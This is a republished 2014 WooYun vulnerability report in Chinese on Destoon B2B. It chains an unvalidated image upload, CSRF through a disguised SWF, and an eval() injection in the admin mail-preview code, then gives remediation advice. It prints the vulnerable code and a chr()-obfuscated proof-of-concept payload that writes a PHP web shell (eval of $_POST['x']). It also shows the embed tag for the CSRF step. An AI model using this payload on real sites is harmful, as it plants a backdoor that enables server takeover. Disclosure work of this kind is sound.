Destoon B2B csrf getshell
- 发布时间: 2014-05-27
- 公开时间: 2014-08-25
- 漏洞类型: csrf
- 危害等级: 中
- 漏洞编号: WooYun-2014-62435
- 测试版本:2014-05-21
简要描述
上传问题+csrf+后台任意命令执行 = csrf getshell详细说明
先说上传问题,自带的fck编辑器没有验证上传图片的合法性,只判断了后缀名。 可以通过上传一个.jpg后缀的swf来进行csrf 然后是后台命令执行 /member/admin/sendmail.inc.php 行151default:
if(isset($send)) {
if(isset($preview) && $preview) {
$content = stripslashes($content);
if($template) {
if($sendtype == 2) {
$emails = explode("\n", $emails);
$email = trim($emails[0]);
} else if($sendtype == 3) {
$emails = explode("\n", file_get(DT_ROOT.'/file/email/'.$mail));
$email = trim($emails[0]);
}
$user = _userinfo($fields, $email);
eval("\$title = \"$title\";"); //eval()+双引号 +可控的$title 妥妥的任意命令执行
$content = ob_template($template, 'mail');
}
echo '<br/><strong>邮件标题:</strong>'.$title.'<br/><br/>';
echo '<strong>邮件正文:</strong><br/><br/>';
echo $content;
exit;
}
漏洞证明
首先把请求抓出来 精简参数 得到命令执行的最简参数如下moduleid=2
file=sendmail
send=1
preview=1
template=1
title='执行点'
由于是post提交 会触发全局变量检查,所以这里不能使用单引号双引号等,构造POC如下
{${assert(chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(39).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(92).chr(39).chr(120).chr(92).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62).chr(39).chr(41).@chr(59))}}
下面来制作一个csrf的swf

<embed src="**.**.**.**/file/upload/201405/26/22-00-20-27-3.jpg" allowScriptAccess="always" type="application/x-shockwave-flash"></embed>



修复方案
- 命令执行 非必要别用双引号
- csrf 后台操作需要加token验referer
- 上传文件不光要检查后缀,文件内容也要查
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 在奋斗中释放青春激情 7904467
- 2 买Labubu比买黄金还赚钱 7809293
- 3 周一周二高考继续 7713704
- 4 外资企业持续投资中国 7617966
- 5 2025高考短跑冠军诞生了 7520526
- 6 演员张译回应“息影” 7427711
- 7 火车过山西隧道吸入煤灰 乘客变煤蛋 7330280
- 8 俄军首次进入乌克兰中部腹地 7239168
- 9 考生:不想再帮李华写信了 7139786
- 10 49岁“可云”徐露近况曝光 7047078